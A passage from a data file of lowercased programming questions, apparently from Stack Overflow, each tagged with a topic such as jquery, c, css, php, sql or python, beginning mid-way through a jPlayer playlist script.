self.playlistprev();             $j(this).blur();             return false;         });          $j(this.cssselector.interface +   .jp-next ).click(function() {             self.playlistnext();             $j(this).blur();             return false;         });     };      playlist.prototype = {         displayplaylist: function() {             var self = this;             $j(this.cssselector.playlist +   ul ).empty();             for (i=0; i &lt; this.playlist.length; i++) {                 var listitem = (i === this.playlist.length-1)    &lt;li class= jp-playlist-last &gt;  :  &lt;li&gt; ;                 listitem +=  &lt;a href= #  id=   + this.cssid.playlist + this.instance +  _item_  + i +   tabindex= 1 &gt; + this.playlist[i].name + &lt;/a&gt; ;                  // create links to free media                 if(this.playlist[i].free) {                     var first = true;                     listitem +=  &lt;div class= jp-free-media &gt;( ;                     $j.each(this.playlist[i]  function(property value) {                         if($j.jplayer.prototype.format[property]) { // check property is a media format.                             if(first) {                                 first = false;                             } else {                                 listitem +=   |  ;                             }                             listitem +=  &lt;a id=   + self.cssid.playlist + self.instance +  _item_  + i +  _  + property +    href=   + value +    tabindex= 1 &gt;  + property +  &lt;/a&gt; ;                         }                     });                     listitem +=  )&lt;/span&gt; ;                 }                  listitem +=  &lt;/li&gt; ;                  // associate playlist items with their media                 $j(this.cssselector.playlist +   ul ).append(listitem);                 $j(this.cssselector.playlist +  _item_  + i).data( index   i).click(function() {                     var index = $j(this).data( index );                     if(self.current !== index) {                         self.playlistchange(index);                     } else {                         $j(self.cssselector.jplayer).jplayer( play );                     }                     $j(this).blur();                     return false;                 });                  // disable free media links to force access via right click                 if(this.playlist[i].free) {                     $j.each(this.playlist[i]  function(property value) {                         if($j.jplayer.prototype.format[property]) { // check property is a media format.                             $j(self.cssselector.playlist +  _item_  + i +  _  + property).data( index   i).click(function() {                                 var index = $j(this).data( index );                                 $j(self.cssselector.playlist +  _item_  + index).click();                                 $j(this).blur();                                 return false;                             });                         }                     });                 }             }         }          playlistinit: function(autoplay) {             if(autoplay) {                 this.playlistchange(this.current);             } else {                 this.playlistconfig(this.current);             }         }          playlistconfig: function(index) {             $j(this.cssselector.playlist +  _item_  + this.current).removeclass( jp-playlist-current ).parent().removeclass( jp-playlist-current );             $j(this.cssselector.playlist +  _item_  + index).addclass( jp-playlist-current ).parent().addclass( jp-playlist-current );             this.current = index;             $j(this.cssselector.jplayer).jplayer( setmedia   this.playlist[this.current]);         }          playlistchange: function(index) {             this.playlistconfig(index);             $j(this.cssselector.jplayer).jplayer( play );         }          playlistnext: function() {             var index = (this.current + 1 &lt; this.playlist.length)   this.current + 1 : 0;             this.playlistchange(index);         }          playlistprev: function() {             var index = (this.current - 1 &gt;= 0)   this.current - 1 : this.playlist.length - 1;             this.playlistchange(index);         }     };      var videoplaylist = new playlist( 1   [         {             name: big buck bunny trailer               free:true              m4v: http://www.jplayer.org/video/m4v/big_buck_bunny_trailer_480x270_h264aac.m4v               ogv: http://www.jplayer.org/video/ogv/big_buck_bunny_trailer_480x270.ogv               poster: http://www.jplayer.org/video/poster/big_buck_bunny_trailer_480x270.png          }          {             name: finding nemo teaser               m4v:  http://www.jplayer.org/video/m4v/finding_nemo_teaser_640x352_h264aac.m4v               ogv:  http://www.jplayer.org/video/ogv/finding_nemo_teaser_640x352.ogv               poster:  http://www.jplayer.org/video/poster/finding_nemo_teaser_640x352.png          }          {             name: incredibles teaser               m4v:  http://www.jplayer.org/video/m4v/incredibles_teaser_640x272_h264aac.m4v               ogv:  http://www.jplayer.org/video/ogv/incredibles_teaser_640x272.ogv               poster:  http://www.jplayer.org/video/poster/incredibles_teaser_640x272.png          }     ]  {         ready: function() {             videoplaylist.displayplaylist();             videoplaylist.playlistinit(false); // parameter is a boolean for autoplay.         }          ended: function() {             videoplaylist.playlistnext();         }          play: function() {             $j(this).jplayer( pauseothers );         }          swfpath:  js           supplied:  ogv  m4v      });      var audioplaylist = new playlist( 2   [         {             name: tempered song               mp3: http://www.jplayer.org/audio/mp3/miaow-01-tempered-song.mp3               oga: http://www.jplayer.org/audio/ogg/miaow-01-tempered-song.ogg          }          {             name: hidden               mp3: http://www.jplayer.org/audio/mp3/miaow-02-hidden.mp3               oga: http://www.jplayer.org/audio/ogg/miaow-02-hidden.ogg          }          {             name: lentement               free:true              mp3: http://www.jplayer.org/audio/mp3/miaow-03-lentement.mp3               oga: http://www.jplayer.org/audio/ogg/miaow-03-lentement.ogg          }          {             name: hidden               mp3: http://www.jplayer.org/audio/mp3/miaow-02-hidden.mp3               oga: http://www.jplayer.org/audio/ogg/miaow-02-hidden.ogg          }          {             name: lismore               free:true              mp3: http://www.jplayer.org/audio/mp3/miaow-04-lismore.mp3               oga: http://www.jplayer.org/audio/ogg/miaow-04-lismore.ogg          }          {             name: hidden               mp3: http://www.jplayer.org/audio/mp3/miaow-02-hidden.mp3               oga: http://www.jplayer.org/audio/ogg/miaow-02-hidden.ogg          }          {             name: the separation               mp3: http://www.jplayer.org/audio/mp3/miaow-05-the-separation.mp3               oga: http://www.jplayer.org/audio/ogg/miaow-05-the-separation.ogg          }          {             name: hidden               mp3: http://www.jplayer.org/audio/mp3/miaow-02-hidden.mp3               oga: http://www.jplayer.org/audio/ogg/miaow-02-hidden.ogg          }          {             name: beside me               mp3: http://www.jplayer.org/audio/mp3/miaow-06-beside-me.mp3               oga: http://www.jplayer.org/audio/ogg/miaow-06-beside-me.ogg          }      ]  {         ready: function() {             audioplaylist.displayplaylist();             audioplaylist.playlistinit(false); // parameter is a boolean for autoplay.         }          ended: function() {             audioplaylist.playlistnext();         }          play: function() {             $j(this).jplayer( pauseothers );         }          swfpath:  js           supplied:  oga  mp3      }); }); </code></pre>   any suggestion of why,jquery
i have problems to compile a method with a multidimensional array  <em>i need to display a board who have this structure</em>      only with o - | chars      <img src= https://i.stack.imgur.com/uxwv1.png  alt= screenshot >    <em>have this error</em>    main.c:17:29: error: expected primary-expression before ‘]’ token   desplegar_tablero(&amp;tablero[][] fil col);    (<em>still not complete the algorithm but i m working in it</em>)   <pre><code>int main(int argc  char **argv){     if (argc != 3){         fprintf(stderr   ejecutar como ./prog n_filas n_columnas.\n );         exit(exit_failure);     }      int fil = 2*(atoi(argv[1]))-1;     int col = 2*(atoi(argv[2]))-1;      char tablero[fil][col];      desplegar_tablero(&amp;tablero[][] fil col);   }  void desplegar_tablero(char tab[][]  int f  int c){     for (int i = 1; i&lt;= f; ++f){         for (int j = 1; j &lt;=c; ++c){             //si fila es impar              if (i%2 == 1){                 //columna impar                 if (j%2 == 1){                     // ascii 79 = o                     tab[i][j]= 79;                     printf(  %u   &amp;tab[i][j]);                 }                    //columna par                    else{                     // ascii 196 = -                     tab[i][j] = 196;                     printf(  %u   &amp;tab[i][j]);                 }                }             // si fila par             else{                 //columna impar                  if (j%2==1){                     // ascii 179 = |                     tab[i][j]= 179;                     printf(  %u   &amp;tab[i][j]);                 }                 //columna par                    else{                     // ascii 32 = espacio                     tab[i][j] = 32;                     printf(  %u   &amp;tab[i][j]);                 }             }         printf( \n );            }     } } </code></pre>,c
how to effectively make div scrollable on hover only  and have it stay in that position when not hovering   i know i can make a div scrollable on hover by using a fixed height  and by using <code>overflow:none</code> normally  and <code>overflow-y: scroll</code> on hover.    however  my div is a list of 30 items  and height 50px. if i hover  and scroll down to the 25th item  then move cursor out  the div changes to show the first few items (i.e. top of the div)  not where i was previously just before moving cursor out.    how can i keep div in same position when i ve hovered out,css
how to check if var is not empty with javascript   not having much luck with this.  i m trying to determine if a var is not empty.     <pre><code>$( #content ).mouseup(function() {      var selection = getselected();      if (typeof(selection) !== undefined ) {         alert(selection);     } }); </code></pre>   what this is doing is grabbing any text the user has selected -- but it shows an empty alert even if the user just mouseup s on the div.,javascript
extending namespaces in another file  im trying to extend a namespace methods/properties calling another files. i have this:    main.js:   <pre><code>(function( ns  $  undefined ) {      use strict ;     ns.libs = {}     ns.libspath =  http://example.com/libs/ ;     ns.foo = function foo(){         return  im a main foo ;     }     //include file     $.getscript(ns.libspath+ super-foo.js ); }( window.ns = window.ns || {}  jquery ));  console.log(ns.foo());//ok console.log(ns.libs.superfoo());//fail </code></pre>   super-foo.js   <pre><code>console.log( file loaded ); (function( ns  $  undefined ) {      use strict ;     ns.libs.superfoo = function(){         return  im a super foo ;     } }( window.ns = window.ns || {}  jquery )); console.log(ns.foo()); //ok console.log(ns.libs.superfoo()); //ok </code></pre>   when i run the code i got something like this:   <pre><code>im a main foo //ok [error in main.js method doesnt exists in ns] file loaded  im a main foo im a super foo </code></pre>   the file was readed but doesnt extends main file namespace  only works in included file. why this happens  how i can fix it,javascript
difference in doctype s  i am new to html concepts  but i had issue with my web page. it was not able to load properly on ie10 then i googled further and changed the doctype from   <pre><code>&lt;!doctype html public  -//w3c//dtd html 4.01 transitional//en &gt; </code></pre>   to    <pre><code>&lt;!doctype html&gt; </code></pre>   surprisingly it worked     i tried reading regarding this doctype got to know that the mentioned dtd is used to render the web page. but i was not able to gather much information. can anyone tell me what is actually making the difference there,html
multiple left joins (with multiple tables) with a condition  i want to have a group list but only of those groups where the user is a member. so i need multiple left joins (because i have multiple tables for groups  users  games...) and a condition because the i want only the groups where the user is member listed.    <strong>here are my tables:</strong>   <pre><code>table users - primary key (user_id) +---------+----------+-----------+ | user_id | username | realname  | +---------+----------+-----------+ |       1 | peterpan | peter pan | |       2 | bobfred  | bod fred  | |       3 | sallybe  | sally be  | |       6 | petersep | peter sep | +---------+----------+-----------+  table users_groups - primary key (user_id  group_id) +---------+----------+ | user_id | group_id | +---------+----------+ | 1       | 1        | | 1       | 2        | | 2       | 1        | | 2       | 2        | | 3       | 6        | | 3       | 9        | | 6       | 6        | | 6       | 9        | +---------+----------+  table game - primary key (id) +----+-------+ | id | game  | +----+-------+ | 1  | game1 | | 2  | game2 | | 6  | game6 | | 9  | game9 | +----+-------+  table groups - primary key(group_id) +----------+--------------+---------------+ | group_id | group_name   | group_desc    | +----------+--------------+---------------+ | 1        | groupname1   | description1  | | 2        | groupname2   | description2  | +----------+--------------+---------------+  table group_game - primary key(group_id  game_id) +----------+----------+ | group_id | game_id  | +----------+----------+ | 1        | 1        | | 1        | 2        | | 2        | 6        | | 2        | 9        | +----------+----------+ </code></pre>   <strong>and now i want to display something like this (only the groups where peter pan is member  because peter pan is actually logged in):</strong>   <pre><code>+----+------------+--------------+---------------------+--------------+ | id | group name | group desc   | group members       | group games  | +----+------------+--------------+---------------------+--------------+ |  1 | groupname1 | description1 | peter pan  bob fred | game1  game2 | +----+------------+--------------+---------------------+--------------+ </code></pre>   <strong>this is my query (i use prepared statements and the   would be the userid of the user)</strong>   <pre><code>select     g.group_name      g.group_id      g.group_desc      group_concat(distinct u.realname separator     ) as users      group_concat(distinct ga.game separator     ) as games from groups g left join users_groups ug1     on g.group_id=ug1.group_id left join users u     on ug1.user_id=u.user_id and u.user_id =   left join group_game gg     on g.group_id=gg.group_id left join game ga     on gg.game_id=ga.id group by g.group_name </code></pre>   my query doesn t work because it lists all groups and not just the groups where the actual user is member. how can i solve this,mysql
how to clear and set high 8 bits of ulong  straight to the point. i want to change higher 8 bits of a variable.   <pre><code>ulong parameters; </code></pre>   i can get them like that:   <pre><code>(parameters &gt;&gt; 24) &amp; 0xff </code></pre>   but i m not really sure how can i clear the value there and set my own.,c
ios ble how to get 11 25 ms connection interval   i want to get a 11 25 connection interval on ios. but how can i check what connection interval was selected  i have a device with an accelerometer and gyroscope. i sent a request to a device from ios to set connection between 11 25 and 31 25. i need to receive updates every 11 25 ms for my code. can i somehow make the ios device pick the lowest     i need to connect to 2 devices and capture accelerometer and gyroscope data from both devices with interval of 11 25 ms. this is done on android. when i am trying to do the same things on ios i receive accelerometer data from one device almost in 10 ms intervals but others intervals are around 100 ms or even more. how can i improve this,ios
textarea box removes text when clicked on  how to stop this   example url: <a href= http://moviepostersdb.com/the-host/poster-1  rel= nofollow >http://moviepostersdb.com/the-host/poster-1</a>     on the above page on the right hand side under  poster embed code  i have a text area that is support to have an image embed code.    my problem is that whenever someone clicks in the box to copy/paste  all the text currently entered is removed. when they click away  it re-appears.    from looking at the code below; does anyone see why this is happening    <pre><code>&lt;form action= # &gt; &lt;fieldset&gt; &lt;textarea cols= 37  rows= 2 &gt;&lt;a href= www.link.com  target= _blank &gt; &lt;img src= http://www.moviepostersdb.com/&lt; php echo $poster[ image_large ];  &gt;  width= 600     height= 890  border= 0  alt= &lt; php echo $movie[ movie_name ];  &gt;  &lt; php echo $poster[ poster_name ];  &gt;  /&gt;  &lt;/a&gt;&lt;/textarea&gt;  &lt;/fieldset&gt;  &lt;/form&gt; </code></pre>,html
please let me know  how to enable two-finger rotation on apple map using mkmapview  i am new in iphone  as per customer requirement i want to enable two-finger rotation using mkmapview  how can i enable two-finger rotation as we can see in apple maps in ios6   if any one has done yet please help.    please help me to come out.    thank you in advance.,iphone
is there any way to make synchronise our application to another app in iphone   is there any way by which we can make our app communicate with another app installed on the iphone by urlscheme or any other way !!!    sample code will be  much help ful !!!    thanks,iphone
line not breaking correctly  i have an issue with line breaking. as you can see on screenshot 1  the text is fine but when the browser is pulled down (screenshot 2) the text breaks at random points rather than by word leaving a large white space. ideally i d like each word to drop when it needs to rather than all four words dropping at once.    <img src= https://i.stack.imgur.com/pndrr.png  alt= screenshot 1 >    <img src= https://i.stack.imgur.com/ghupl.png  alt= screenshot 2 >    there is no padding or margin on this div. i have tried to the following word-wrap variables: normal  break-word  initial &amp; inherit. i have also tried white-space: normal  no-wrap  pre  initial &amp; inherit with no success.    html/php:   <pre><code>&lt;div class= full bottom-position &gt;      &lt;div class= half right &gt;          &lt; php if ( get_sub_field( client_name ) ) :  &gt;                &lt;span class= left-span &gt;client:&lt;/span&gt;               &lt;span class= right-span &gt;&lt; php the_sub_field( client_name );  &gt;&lt;/span&gt;          &lt; php endif;  &gt;           &lt; php if ( get_sub_field( date ) ) :  &gt;                &lt;span class= left-span &gt;date:&lt;/span&gt;               &lt;span class= right-span &gt;&lt; php the_sub_field( date );  &gt;&lt;/span&gt;          &lt; php endif;  &gt;           &lt; php if ( get_sub_field( version ) ) :  &gt;                &lt;span class= left-span &gt;version:&lt;/span&gt;               &lt;span class= right-span &gt;&lt; php the_sub_field( version );  &gt;&lt;/span&gt;          &lt; php endif;  &gt;           &lt; php if ( get_sub_field( print ) ) :  &gt;                &lt;span class= left-span &gt;print:&lt;/span&gt;               &lt;span class= right-span &gt;&lt;a href= &lt; php the_sub_field( print );  &gt; &gt;download presentation as pdf&lt;/a&gt;&lt;/span&gt;           &lt; php endif;  &gt;       &lt;/div&gt;  &lt;/div&gt; </code></pre>   css:   <pre><code>.left-span {     width: 15%;     float: left; }  .right-span {     width: 85%;     float: left; }  .half {     width: 50%;     height: auto; } .right {     float: right; } </code></pre>   this is an odd issue i ve never come across before. any help would be appreciated  thanks. fiddle can be found here: <a href= http://jsfiddle.net/qkt93epw/  rel= nofollow noreferrer >http://jsfiddle.net/qkt93epw/</a>,css
ping a website address to return an ip  hey  i m new to python programing and i have problem that i can t decifer the answer to though a google search.    i need to ping a website address (eg www.google.com) and have python return me a ip address.    cheers,python
looking for an e-book about architecting applications using .net  sorry  i really don t know that whether i can ask my request here or not. but actually  i need to read a book named:     microsoft® .net: architecting applications for the enterprise     i googled internet but i didn t find....    do you have it s e-book,.net
php - print_r(get_defined_vars()); returns blank screen  i m trying to get a variable dump in my php so i m using:   <pre><code>print_r(get_defined_vars()); </code></pre>   to produce it  but it results in a blank page no matter where i insert the code.  any ideas,php
entire div as a link   i want to use an entire div as a link.. without the use of <code> onclick </code>    is this possible with a simple <code>href</code>     thanks,html
mysql query and compare values if multiple rows found  im not too mysql savvy and i m having issues creating a select that fits with my needs. i have a database table that looks similar to this:   <pre><code>registrar id balance date --------------------- 1  500.00  2013-01-01 2  402.00  2013-01-01 3  396.00  2013-01-02 4  394.00  2013-01-02 </code></pre>   i have a query that i use to pull the data into a script and display the data:   <pre><code>select balance  date from $registrar where date between  $starting_date  and  $ending_date  </code></pre>   however  it appears that when querying  mysql is only returning the newest entry for that date. id like if possible to return the lower balance amount of that date if found multiple rows matching the date criteria.,mysql
problem with std::string::find()  i m in trouble using std::string::find(). i read strings from console through the following code:   <pre><code> 50   while(command.find(exitstring) != 0) {  51         std::cout &lt;&lt;  $  ;  52         getline(std::cin  command);  53   54         doswitch(command);  55     } </code></pre>   and then i  switch  on them  through the following function:   <pre><code> 59 void console::doswitch(std::string command) {  60     if(command.find(helpstring) == 0) {  61         help();  62     } else if(command.find(loadstring) == 0) {  63         try {  64             doload(command);  65         } catch(std::string str) {  66             std::cout &lt;&lt; str &lt;&lt; std::endl;  67         }  68     } else if(command.find(dumpprocstring) == 0) {  69         try {  70             dodumpproc(command);  71         } catch(std::string str) {  72             std::cout &lt;&lt; str &lt;&lt; std::endl;  73         }  74     } else if(command.find(dumpmemstring) == 0) {  75         dodumpmem();  76     } else if(command.find(defmemstring) == 0) {  77         try {  78             dodefmem(command);  79         } catch(std::string str) {  80             std::cout &lt;&lt; str &lt;&lt; std::endl;  81         } catch(char *str) {  82             std::cout &lt;&lt; str &lt;&lt; std::endl;  83         }  84     } else if(command.find(resetstring) == 0) {  85         try {  86             doreset();  87         } catch(std::string str) {  88             std::cout &lt;&lt; str &lt;&lt; std::endl;  89         }  90     } else {  91         std::cout &lt;&lt;  comando inválido.  &lt;&lt; std::endl;  92     }  93 } </code></pre>   but sometimes it simply doesn t switch correctly. any clues     thanks in advance     edit: i ve done some tests and i detected it was falling on the last else-if statement  instead of falling on the last else. then i checked my code again and found that the root cause was that i forgot to initialize resetstring. problem solved! thank you everyone.,c++
how to add user_agent to pyqt4 browser <pre><code>import sys time from pyqt4 import qtgui  qtcore  qtwebkit from pyqt4.qtnetwork import qnetworkaccessmanager  qnetworkrequest  class mainform(qtgui.qmainwindow):   def init(self  parent=none):       super(mainform  self).init(parent)       self.tabwidget = qtgui.qtabwidget(self)               self.setcentralwidget(self.tabwidget)               self.loadurl(qtcore.qurl( https://www.google.com.ng ))    def loadurl(self  url):           view = qtwebkit.qwebview()         view.connect(view  qtcore.signal( loadfinished(bool) )  self.loadfinished)       view.connect(view  qtcore.signal( linkclicked(const qurl&amp;) )  self.linkclicked)      view.page().setlinkdelegationpolicy(qtwebkit.qwebpage.delegatealllinks)       self.tabwidget.setcurrentindex(self.tabwidget.addtabview   loading... ))       view.load(url)       self.tabwidget.setcurrentindex(0)    def loadfinished(self  ok):       index = self.tabwidget.indexof(self.sender())       self.tabwidget.settabtext(index  self.sender().url().host())       print index    def linkclicked(self  url):              self.loadurl(url)    def main():      app = qtgui.qapplication(sys.argv) form = mainform()       form.show() app.exec_() </code></pre>,python
alternative of getglobalasaxtype in .net 3.5   i am checking out a sample application source code and there is:   <pre><code>var assembly = buildmanager.getglobalasaxtype().basetype.assembly.getname().name; </code></pre>   but in .net 3.5  there is no buildmanager.getglobalasaxtype(). is there any alternative way to do so in .net 3.5,asp.net
android: can t refresh my listview  when i try to delete an item in a listview it does not update then the listview. i have followed and read some similar questions here in stackoverflow but i had no results. can you please help me     i have an activity ver where i have an onresume() method:   <pre><code>public class ver_despesasactivity extends actionbaractivity {  private listview listview ; private arrayadapter dataadapter; private databasehelper databasehelper ; private list&lt;despesa&gt; despesas; arraylist&lt;despesa&gt;items; myadapter adapter;  (...)   @override   public void onresume() {             super.onresume();             databasehelper= new databasehelper(this.getapplicationcontext());             gasto gasto = databasehelper.getgasto();             string mes = gasto.getmes();             int ano = gasto.getano();              items.clear();             items.addall(databasehelper.getalldespesas(mes  ano));             adapter.refresh(items);     } </code></pre>   then i have a class myadapter where i have the refresh() method:   <pre><code>public class myadapter extends baseadapter implements listadapter {      private arraylist&lt;despesa&gt; list = new arraylist&lt;despesa&gt;();     private context context; (...) public void refresh(arraylist&lt;despesa&gt; list)     {         this.list = list;         this.notifydatasetchanged();     } </code></pre>   <strong>myadapterconstructor:</strong>   <pre><code>public myadapter(arraylist list  context context) {         this.list = list;         this.context = context;     } </code></pre>   <strong>update:</strong> i don t know if this is important  i m not using list.remove to remove the items of my listview  i have a method mine to do it.,android
get the next hidden input value  i have the following structure    <pre><code>&lt;tr&gt;         &lt;td class= product-remove &gt;             &lt;div&gt;&lt;a href= #  class= remove remove-favorite-items  title= remove this item &gt;×&lt;/a&gt;&lt;/div&gt;         &lt;/td&gt;          &lt;td class= product-thumbnail &gt;             &lt;a href= http://localhost/test/product/patient-ninja/ &gt;                 &lt;img width= 90  height= 90  src= http://localhost/test/wp-content/uploads/2013/06/hoodie_3_front.jpg  class= attachment-shop_thumbnail wp-post-image  alt= cd_6_angle &gt;&lt;/a&gt;         &lt;/td&gt;         &lt;td class= product-name &gt;             &lt;input type= hidden  value= 50  class= product_id_hidden &gt;   &lt;-- want to get this value             &lt;a href= http://localhost/test/product/patient-ninja/ &gt;patient ninja&lt;/a&gt;         &lt;/td&gt;         &lt;td&gt;               &lt;a href= javascript:void(0);  onclick= checkforstock( http://localhost/test/wp-content/plugins/dvin-wcwl/add-to-cart.php wlist_item_id=7   in   false ); &gt;add to cart&lt;/a&gt;         &lt;/td&gt;     &lt;/tr&gt; </code></pre>   i want to get the value of the hidden input  when i click on <code>&lt;div&gt;&lt;a href= #  class= remove remove-favorite-items  title= remove this item &gt;×&lt;/a&gt;</code>     what i done is the following    <pre><code>        var product_id = $(this).parent( td ).find( input[type=hidden] ).val();    // get the product id </code></pre>   how can do that,jquery
how can i assign a float variable to an unsigned int variable  bit image  not cast  i know this is a bizarre thing to do  and it s not portable.  but i have an allocated array of unsigned ints  and i occasionaly want to  store  a float in it.  i don t want to cast the float or convert it to the closest equivalent int; i want to store the exact bit image of the float in the allocated space of the unsigned int  such that i could later retrieve it as a float and it would retain its original float value.,c++
sorting list of data in php   hi i have an list of countries on table so i am sorting with country name then i get a-z locations like this <code>afghanistan  bangladesh cape verde  denmark equatorial guinea falkland islands usa  yemen   zambia</code>but actually i need usa on top (i mean first element) like this order <code>usa afghanistan  bangladesh cape verde  denmark equatorial guinea falkland islands  yemen   zambia</code>here is my code   <pre><code>&lt; php require  dbconnect.php ; $empty=array(); $c=0;  $query= select * from phpfox_country ; $result=mysql_query($query);  if($result) {    while($row=mysql_fetch_row($result))    {     if($row[1]== united states )    {    $message=array( country_iso =&gt;$row[0]  name =&gt;$row[1])    }    else    {      $message[$c]=array( country_iso =&gt;$row[0]  name =&gt;$row[1]);    }       $c++;    }   $message=($message==null) $empty:$message; } else { $message=array( message =&gt; error in code ); } echo json_encode($message);  &gt; </code></pre>   thanks for advance.,php
how do i do an <ol> with decimals   looking to create a list like this:   <pre><code>1. section header     1.1 some text here that is quite long     1.2 some text here that is quite long     1.3 some text here that is quite long 2. section header     2.1 some text here that is quite long     2.2 some text here that is quite long     2.3 some text here that is quite long </code></pre>   but ideally as a proper  or combination thereof (i like to have neat proper pages). is this possible,html
sql query - find item owned by a group of people  suppose i have the following tables   <pre><code>owner table item_id owner_id   a       1   a       2   b       1   b       2   b       3 </code></pre>   i want to find items owned by owner 1 &amp; 2 only i.e. item a  not item c    what could be a query for this      <strong>edit:</strong> if its not obvious  the owner list will be given by user  hence the query should be able to find items of given owner list maintaining the above criteria (i.e. not hardcoded).    at present i am doing it with a query like this   <pre><code>select * from items where id = (       select item_id from  item_owners where owner_id in  (:ownerids)       group by item_id having  count(distinct owner_id) = :ownercount limit 1 ) </code></pre>   where <code>:ownerids</code> and <code>:ownercount</code> are user inputs from orm  and <code>items</code> is my original table of item to hold other details of item    the question is: is it a correct query   will it fail in any scenario   and is it efficient,sql
angularjs current route path   this may sound strange  but i need to check for current route path in my controller. i wasnt able to find the answer.    i have 3 routes: the default  /    report  and  preview .    how can i check the route in the controller    <pre><code>    constructor(         private dataservice: dataservice          private $scope: ng.iscope          private $location: ng.ilocationservice          private $route  // what type should it be (for typescript)          private $routeparams: irouteparams          private $log: ng.ilogservice) {          var xxx = $route.current; // doesnt work  undefined always     } </code></pre>,angularjs
sql timestamp query  table has <code>created_time</code> column with values like <code>25-may-2012.10.12.320000 pm</code>.     i need to write a query to display the all the fields from <code>table</code> xyz which were created between the  month of <code>march</code> and <code>april</code>  agnostic to the year they are in.     i would like to display the records in ascending order based on their id.    can someone help me,sql
python - how to add zeros to and integer/string   i m without clues on how to do this in python. the problem is the following: i have for example an orders numbers like:   <pre><code>1 2 ... 234567 </code></pre>   i need to extract only the 4 last digits of the order number and if the order number have less than 4 digits i will substitute with zeros.    the required output is like this:   <pre><code>0001 0002 ... 4567 </code></pre>   any clues  i m a bit lost with this one.    best regards,python
symbol info in .app file  i ve recently released an app to the app store  i went to have a look at some crash logs in organiser of my app downloaded from the app store and noticed that there is symbol info in my crash log - shock horror    i definitely remember setting some strip symbols flags when i built the distribution build (which was copied from release) so can t for the life of me work out how there is this symbol info there. i never shipped a .sym file to apple just the .app. so whats going on. surely apple would have warned me  about this wouldn t they,iphone
access local variable in function from module  i have a function in my main program that attempts to retrieve information from an imported module  which is a different script i wrote. this module spits out a variable which i access from the main program by making it a global.    however  since i m threading the function that requests the information  the global variable gets polluted by adding the information from separate requests into one var. what i m looking for is a way to access a local variable in a function in a module.    main program:   <pre><code>import module  def threaded_function():     module.function(var1  var2)     print module.output </code></pre>   module:   <pre><code>def function(var1  var2):     global output       output = []     dothingswithvars(var1  var2)     output.append(result) </code></pre>   since the threading causes it to get accessed multiple times i figured i d not use global variables and get the local variables for each request. any idea how i can get at those,python
update table with increment dates  so i have a query that updates an existing table with dates from 2 weeks. however i am running into a problem here. i get the dates updated into the table however  i want to be able to skip the weekend which comes before the ending date. here is my query and tables. as we can see below  i tried to add in a where clause but the result still gives me the weekends in the middle between the 2 weeks. how can i go about fixing this. here is the sqlfiddle: <a href= http://sqlfiddle.com/#!3/35365/1  rel= nofollow noreferrer >http://sqlfiddle.com/#!3/35365/1</a> <a href= https://i.stack.imgur.com/giogz.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/giogz.png  alt= after update ></a>    <a href= https://i.stack.imgur.com/pbz2t.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/pbz2t.png  alt= enter image description here ></a>,sql
i don t understand the usefulness of parameter arrays   parameter arrays allow a variable number of arguments to be passed into a method:   <pre><code>    static void method(params int[] array)     {} </code></pre>   but i fail to see their usefulness  since same result could be achieved by specifying a parameter of particular array type:   <pre><code>    static void method(int[] array)     {} </code></pre>   so what benefits ( if any ) does parameter array have over value parameter of array type      thank you,c#
while loop for user input doesn t exit  the code i have below isn t stopping when i enter the <code>exitcode</code>  and the other problem is that the <code>elif</code> line is detecting every character entered as a number.   <pre><code>counter = 0 exitcode =  x  wantstoexit = false  while counter &lt; 6 and wantstoexit == false:         candyname = str(input( enter the candy\ s code/name ({0} to exit):  .format(exitcode)))         if candyname ==  {0} .format(exitcode):             wantstoexit == true             print( you have chosen to exit. )         elif candyname.isdigit:             print( please only enter letters. ) </code></pre>,python
args.length bad  ==  when it is equal to 1  i have a piece of code;   <pre><code>string[] args = message.split( \\s+ ); if (args[0].equalsignorecase( setting )){     system.out.println(arrays.tostring(args));     system.out.println( test:  + args.length);     int size = args.length;      if (args[1].equalsignorecase( help ))         system.out.println( true 1 );      if (size == 1)         system.out.println( true 2 );      if (size == 2)         system.out.println( true 3 ); } </code></pre>   result for  setting :   <blockquote>    [setting]        test:1  </blockquote>   result for  setting help :   <blockquote>    [setting  help]        test:2        true 1        true 3  </blockquote>   result for  setting fsdfds :   <blockquote>    [setting  fsdfds]        test:2        true 3  </blockquote>   why on result for  setting  java don t print  true 2  if size of args is 1..  srsly  i don t have any idea why that is that...,java
is it safe to call initializers multiple times on the same  alloc ed object   i can construct a <code>uiimageview</code> object with <code>myimageview = [[uiimageview alloc] initwithimage:image];</code>    following application activity affecting the display  if i want to change the image on the uiimageview. i can do so by reassigning it with <code>myimageview.image = somenewimage</code>. however this doesn t seem to update the frame dimensions. i can modify those manually  but i have observed in practice that calling <code>[myimageview initwithimage:somenewimage]</code> does that for me  and has the advantage of being terser.    however i not sure if it is officially a breach of protocol in objective c to make multiple calls to <em>init</em> methods on an object constructed by a single <em>alloc</em>. i wouldn t use it unless it was safe (guaranteed not to crash or cause leaks). is there evidence that it is unsafe     my research so far...    this article gives general detail about  alloc  and  init  on objects    <a href= http://developer.apple.com/library/mac/documentation/cocoa/conceptual/objectivec/articles/ocallocinit.html  rel= nofollow noreferrer >http://developer.apple.com/library/mac/documentation/cocoa/conceptual/objectivec/articles/ocallocinit.html</a>    this is related so question    <a href= https://stackoverflow.com/questions/1385410/why-are-alloc-and-init-called-separately-in-objective-c >why are alloc and init called separately in objective-c </a>    this blog article warns <em>suppliers</em> of objects that their init methods may be called multiple times as an effect of the initialization process.     <a href= http://www.friday.com/bbum/2009/09/06/iniailize-can-be-executed-multiple-times-load-not-so-much/  rel= nofollow noreferrer >http://www.friday.com/bbum/2009/09/06/iniailize-can-be-executed-multiple-times-load-not-so-much/</a>,objective-c
jquery issue function not defined  i ve wrote this code seems correct but appear this error :   <pre><code>uncaught referenceerror: show is not defined  </code></pre>   this is my simple code:   <pre><code>(function ($) {     $(document).ready     (         function () {             $( .mapban ).parent().jclip(0  0  1060  750);              $( #mapplane ).draggable();              $( #mapplane &gt; div  ).css(  display    none  );              $( .button ).attr( onclick   show(this) );              function show(button){             alert(button);              }          }          ) })(jquery) </code></pre>,jquery
how to set background color of a cell in excel via asp.net code  i want to set a color of my choice in some cells using asp.net. suppose if my salary amount is greater than 14000 than system should highlight specific cells where salary > 14000.please help!!,asp.net
how does this pure css tab work   just came across this by chris coyier - <a href= http://css-tricks.com/examples/csstabs/  rel= nofollow noreferrer >http://css-tricks.com/examples/csstabs/</a>    can anyone explain me  how does the class .cur get applied to a tab s heading  when we click it  there s no js in it.,css
